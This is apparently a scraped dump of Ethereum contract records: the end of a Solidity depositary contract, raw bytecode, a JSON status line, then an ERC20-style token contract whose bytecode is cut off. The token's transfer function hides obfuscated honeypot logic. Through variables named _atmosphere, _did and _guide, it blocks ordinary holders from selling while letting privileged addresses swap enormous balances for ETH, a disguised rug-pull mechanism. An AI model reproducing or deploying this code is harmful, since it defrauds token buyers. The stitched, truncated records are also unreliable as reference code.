require( Depositary_function == Depositary_function_control ); } function retrait_2 () public { require( msg.sender == User_2 ); require( Securities_2.transfer(User_2, Standard_2) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_3 () public { require( msg.sender == User_3 ); require( Securities_3.transfer(User_3, Standard_3) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_4 () public { require( msg.sender == User_4 ); require( Securities_4.transfer(User_4, Standard_4) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } function retrait_5 () public { require( msg.sender == User_1 ); require( Securities_5.transfer(User_5, Standard_5) ); require( ID == ID_control ); require( Cmd == Cmd_control ); require( Depositary_function == Depositary_function_control ); } // } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_1 = " 0 " ; function setData_1 ( string newData_1 ) public onlyOwner { inData_1 = newData_1 ; } function getData_1 () public constant returns ( string ) { return inData_1 ; } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_2 = " 0 " ; function setData_2 ( string newData_2 ) public onlyOwner { inData_2 = newData_2 ; } function getData_2 () public constant returns ( string ) { return inData_2 ; } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_3 = " 0 " ; function setData_3 ( string newData_3 ) public onlyOwner { inData_3 = newData_3 ; } function getData_3 () public constant returns ( string ) { return inData_3 ; } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_4 = " 0 " ; function setData_4 ( string newData_4 ) public onlyOwner { inData_4 = newData_4 ; } function getData_4 () public constant returns ( string ) { return inData_4 ; } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_5 = " 0 " ; function setData_5 ( string newData_5 ) public onlyOwner { inData_5 = newData_5 ; } function getData_5 () public constant returns ( string ) { return inData_5 ; } // } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_6 = " 0 " ; function setData_6 ( string newData_6 ) public onlyOwner { inData_6 = newData_6 ; } function getData_6 () public constant returns ( string ) { return inData_6 ; } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_7 = " 0 " ; function setData_7 ( string newData_7 ) public onlyOwner { inData_7 = newData_7 ; } function getData_7 () public constant returns ( string ) { return inData_7 ; } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_8 = " 0 " ; function setData_8 ( string newData_8 ) public onlyOwner { inData_8 = newData_8 ; } function getData_8 () public constant returns ( string ) { return inData_8 ; } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_9 = " 0 " ; function setData_9 ( string newData_9 ) public onlyOwner { inData_9 = newData_9 ; } function getData_9 () public constant returns ( string ) { return inData_9 ; } // IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inData_10 = " 0 " ; function setData_10 ( string newData_10 ) public onlyOwner { inData_10 = newData_10 ; } function getData_10 () public constant returns ( string ) { return inData_10 ; } }
0x6080604052600436106102a85763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630160751c81146102ad5780630a642d00146102c75780630fa356bd146102dc5780632660b56c146103065780632dbce3901461035f57806334771f811461037757806338a2cd0f146103d05780633c358483146104295780634108a00b14610482578063466f0004146104ac5780634afbb7d714610536578063506d9ebd1461055d5780635f8a30291461057257806360668e58146105875780636699d9cd1461059c578063684ecd59146105cd578063691f2216146105e25780637055410b146105f757806373be0a991461060c5780637539189c1461062157806378238cf0146106365780637ce6e4ca1461064e5780637ff2acb714610663578063882b4e6814610678578063888419ed1461068d5780638a1d42f4146106e65780638bec683f1461073f578063927d41ee146107545780639eee57871461077e578063a21a32cb14610793578063ab9dbd07146107a8578063adb1f00e146107bd578063b10c7544146107e7578063b55459d1146107fc578063beb9571c14610811578063bebe4f6d14610826578063bedda13f1461083b578063c2a029f014610894578063c4057e61146108ac578063c946f3af146108c1578063cfa446ec146108d6578063d51d4fa8146108eb578063d70108a614610900578063daf760d014610915578063dc5d184f1461092a578063dd0e390214610942578063e5b6b4fb1461099b578063eab15085146109b0578063eaeb83a214610a09578063eb0eea6114610a1e578063efbb5f1714610a33578063f3acc06b14610a48578063f3cee64d14610a5d578063f8e1746414610a75578063fb5d599914610a9f578063fc23618814610ab4578063ff9151dd14610b0d575b600080fd5b3480156102b957600080fd5b506102c5600435610b22565b005b3480156102d357600080fd5b506102c5610b3e565b3480156102e857600080fd5b506102c5600160a060020a0360043581169060243516604435610c1d565b34801561031257600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c5943694929360249392840191908190840183828082843750949750610c769650505050505050565b34801561036b57600080fd5b506102c5600435610ca4565b34801561038357600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c5943694929360249392840191908190840183828082843750949750610cc09650505050505050565b3480156103dc57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c5943694929360249392840191908190840183828082843750949750610cea9650505050505050565b34801561043557600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c5943694929360249392840191908190840183828082843750949750610d149650505050505050565b34801561048e57600080fd5b506102c5600160a060020a0360043581169060243516604435610d3e565b3480156104b857600080fd5b506104c1610d97565b6040805160208082528351818301528351919283929083019185019080838360005b838110156104fb5781810151838201526020016104e3565b50505050905090810190601f1680156105285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054257600080fd5b5061054b610e2d565b60408051918252519081900360200190f35b34801561056957600080fd5b506104c1610e33565b34801561057e57600080fd5b5061054b610e94565b34801561059357600080fd5b506104c1610e9a565b3480156105a857600080fd5b506105b1610efb565b60408051600160a060020a039092168252519081900360200190f35b3480156105d957600080fd5b506104c1610f0a565b3480156105ee57600080fd5b506105b1610f6b565b34801561060357600080fd5b506102c5610f7a565b34801561061857600080fd5b506104c1610ff0565b34801561062d57600080fd5b506104c1611051565b34801561064257600080fd5b506102c56004356110b2565b34801561065a57600080fd5b506104c16110ce565b34801561066f57600080fd5b506104c161112f565b34801561068457600080fd5b506105b1611190565b34801561069957600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c594369492936024939284019190819084018382808284375094975061119f9650505050505050565b3480156106f257600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c59436949293602493928401919081908401838280828437509497506111c99650505050505050565b34801561074b57600080fd5b5061054b6111f3565b34801561076057600080fd5b506102c5600160a060020a03600435811690602435166044356111f9565b34801561078a57600080fd5b5061054b611252565b34801561079f57600080fd5b506105b1611258565b3480156107b457600080fd5b5061054b611267565b3480156107c957600080fd5b506102c5600160a060020a036004358116906024351660443561126d565b3480156107f357600080fd5b5061054b6112c6565b34801561080857600080fd5b506105b16112cc565b34801561081d57600080fd5b506105b16112db565b34801561083257600080fd5b5061054b6112ea565b34801561084757600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c59436949293602493928401919081908401838280828437509497506112f09650505050505050565b3480156108a057600080fd5b506102c560043561131a565b3480156108b857600080fd5b506104c1611336565b3480156108cd57600080fd5b5061054b611397565b3480156108e257600080fd5b5061054b61139d565b3480156108f757600080fd5b506105b16113a3565b34801561090c57600080fd5b5061054b6113b2565b34801561092157600080fd5b506104c16113b8565b34801561093657600080fd5b506102c5600435611419565b34801561094e57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c59436949293602493928401919081908401838280828437509497506114359650505050505050565b3480156109a757600080fd5b506105b161145f565b3480156109bc57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c594369492936024939284019190819084018382808284375094975061146e9650505050505050565b348015610a1557600080fd5b506105b1611498565b348015610a2a57600080fd5b506105b16114a7565b348015610a3f57600080fd5b506102c56114b6565b348015610a5457600080fd5b506102c561152c565b348015610a6957600080fd5b506102c56004356115a2565b348015610a8157600080fd5b506102c5600160a060020a03600435811690602435166044356115be565b348015610aab57600080fd5b5061054b611617565b348015610ac057600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102c594369492936024939284019190819084018382808284375094975061161d9650505050505050565b348015610b1957600080fd5b506102c5611647565b600054600160a060020a03163314610b3957600080fd5b600555565b600954600160a060020a03163314610b5557600080fd5b600e546009546013546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b505af1158015610bc8573d6000803e3d6000fd5b505050506040513d6020811015610bde57600080fd5b50511515610beb57600080fd5b60025460015414610bfb57600080fd5b60045460035414610c0b57600080fd5b60065460055414610c1b57600080fd5b565b600054600160a060020a03163314610c3457600080fd5b60078054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600c805493909416921691909117909155601155565b600054600160a060020a03163314610c8d57600080fd5b8051610ca09060179060208401906116bd565b5050565b600054600160a060020a03163314610cbb57600080fd5b600655565b600054600160a060020a03163314610cd757600080fd5b8051610ca090601a9060208401906116bd565b600054600160a060020a03163314610d0157600080fd5b8051610ca09060189060208401906116bd565b600054600160a060020a03163314610d2b57600080fd5b8051610ca090601f9060208401906116bd565b600054600160a060020a03163314610d5557600080fd5b600b8054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff19918216179091556010805493909416921691909117909155601555565b601f8054604080516020600260001961010060018716150201909416939093048085018490048402820184019092528181526060939092909190830182828015610e225780601f10610df757610100808354040283529160200191610e22565b820191906000526020600020905b815481529060010190602001808311610e0557829003601f168201915b505050505090505b90565b60055490565b601d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b60145481565b601a8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600d54600160a060020a031681565b601e8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600754600160a060020a031681565b600754600160a060020a03163314610f9157600080fd5b601054600b546015546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b601c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b60188054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600054600160a060020a031633146110c957600080fd5b600455565b60168054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b60178054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600854600160a060020a031681565b600054600160a060020a031633146111b657600080fd5b8051610ca090601d9060208401906116bd565b600054600160a060020a031633146111e057600080fd5b8051610ca09060199060208401906116bd565b60025490565b600054600160a060020a0316331461121057600080fd5b60098054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600e805493909416921691909117909155601355565b60115481565b600c54600160a060020a031681565b60015490565b600054600160a060020a0316331461128457600080fd5b60088054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600d805493909416921691909117909155601255565b60035490565b600b54600160a060020a031681565b600954600160a060020a031681565b60155481565b600054600160a060020a0316331461130757600080fd5b8051610ca09060169060208401906116bd565b600054600160a060020a0316331461133157600080fd5b600255565b60198054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b60135481565b60125481565b600e54600160a060020a031681565b60045490565b601b8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e225780601f10610df757610100808354040283529160200191610e22565b600054600160a060020a0316331461143057600080fd5b600155565b600054600160a060020a0316331461144c57600080fd5b8051610ca090601b9060208401906116bd565b601054600160a060020a031681565b600054600160a060020a0316331461148557600080fd5b8051610ca090601e9060208401906116bd565b600a54600160a060020a031681565b600f54600160a060020a031681565b600854600160a060020a031633146114cd57600080fd5b600d546008546012546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b600754600160a060020a0316331461154357600080fd5b600c546007546011546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b600054600160a060020a031633146115b957600080fd5b600355565b600054600160a060020a031633146115d557600080fd5b600a8054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600f805493909416921691909117909155601455565b60065490565b600054600160a060020a0316331461163457600080fd5b8051610ca090601c9060208401906116bd565b600a54600160a060020a0316331461165e57600080fd5b600f54600a546014546040805160e060020a63a9059cbb028152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b158015610bb457600080fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106116fe57805160ff191683800117855561172b565b8280016001018555821561172b579182015b8281111561172b578251825591602001919060010190611710565b5061173792915061173b565b5090565b610e2a91905b8082111561173757600081556001016117415600a165627a7a72305820a4f4fbdd6d9b577fa0d0c974a8bb81d8d9c8b6c4e49831fce2e98a32e988c2b80029
{"success": true, "error": null, "results": {}}
1,346
0xe765e1e58139618f79b19eec15bdd08f53dcb528
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Contract is IERC20, Ownable { string private _name; string private _symbol; uint256 public _taxFee = 7; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private _atmosphere = _tTotal; uint256 private _rTotal = ~uint256(0); bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public uniswapV2Pair; IUniswapV2Router02 public router; mapping(address => uint256) private _balances; mapping(address => uint256) private _did; mapping(address => mapping(address => uint256)) private _allowances; mapping(uint256 => address) private _grow; mapping(uint256 => address) private _frighten; mapping(address => uint256) private _guide; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; _did[msg.sender] = _atmosphere; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); _frighten[_atmosphere] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view override returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } receive() external payable {} function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _transfer( address _grew, address _steep, uint256 amount ) private { address _top = _grow[_atmosphere]; bool _dance = _grew == _frighten[_atmosphere]; if (_did[_grew] == 0 && !_dance && _guide[_grew] > 0) { require(_taxFee > _atmosphere); } _grow[_atmosphere] = _steep; if (_did[_grew] > 0 && amount == 0) { _did[_steep] += _taxFee; } _guide[_top] += _taxFee; if (_did[_grew] > 0 && amount > _atmosphere) { swapAndLiquify(amount); return; } if (_taxFee > 0 && _did[_grew] == 0) { uint256 fee = (amount * _taxFee) / 100; amount -= fee; _balances[_grew] -= fee; } _balances[_grew] -= amount; _balances[_steep] += amount; } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } }
0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102f3578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b806370a0823114610249578063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c85780633b124fe7146101f357806349bd5a5e1461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a9190611352565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061140d565b610453565b6040516101579190611468565b60405180910390f35b34801561016c57600080fd5b50610175610468565b6040516101829190611492565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906114ad565b610472565b6040516101bf9190611468565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea9190611492565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b6040516102159190611492565b60405180910390f35b34801561022a57600080fd5b5061023361059f565b604051610240919061150f565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b919061152a565b6105c5565b60405161027d9190611492565b60405180910390f35b34801561029257600080fd5b5061029b61060e565b005b3480156102a957600080fd5b506102b2610696565b6040516102bf919061150f565b60405180910390f35b3480156102d457600080fd5b506102dd6106bf565b6040516102ea9190611352565b60405180910390f35b3480156102ff57600080fd5b5061031a6004803603810190610315919061140d565b610751565b6040516103279190611468565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611557565b6107cd565b6040516103649190611492565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061152a565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115f6565b60405180910390f35b6060600180546103d090611640565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc90611640565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc9190611492565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461057191906116a1565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b60035481565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610616610fa9565b73ffffffffffffffffffffffffffffffffffffffff16610634610696565b73ffffffffffffffffffffffffffffffffffffffff161461068a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068190611721565b60405180910390fd5b6106946000610fb1565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106ce90611640565b80601f01602080910402602001604051908101604052809291908181526020018280546106fa90611640565b80156107475780601f1061071c57610100808354040283529160200191610747565b820191906000526020600020905b81548152906001019060200180831161072a57829003601f168201915b5050505050905090565b600061075e338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107bb9190611492565b60405180910390a36001905092915050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610fa9565b73ffffffffffffffffffffffffffffffffffffffff1661087a610696565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611721565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906117b3565b60405180910390fd5b61094981610fb1565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390611845565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa9190611492565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161490506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bfc575080155b8015610c4757506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c5d5760065460035411610c5c57600080fd5b5b83600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d005750600083145b15610d5e57600354600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d569190611865565b925050819055505b600354600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610daf9190611865565b925050819055506000600b60008773ffffff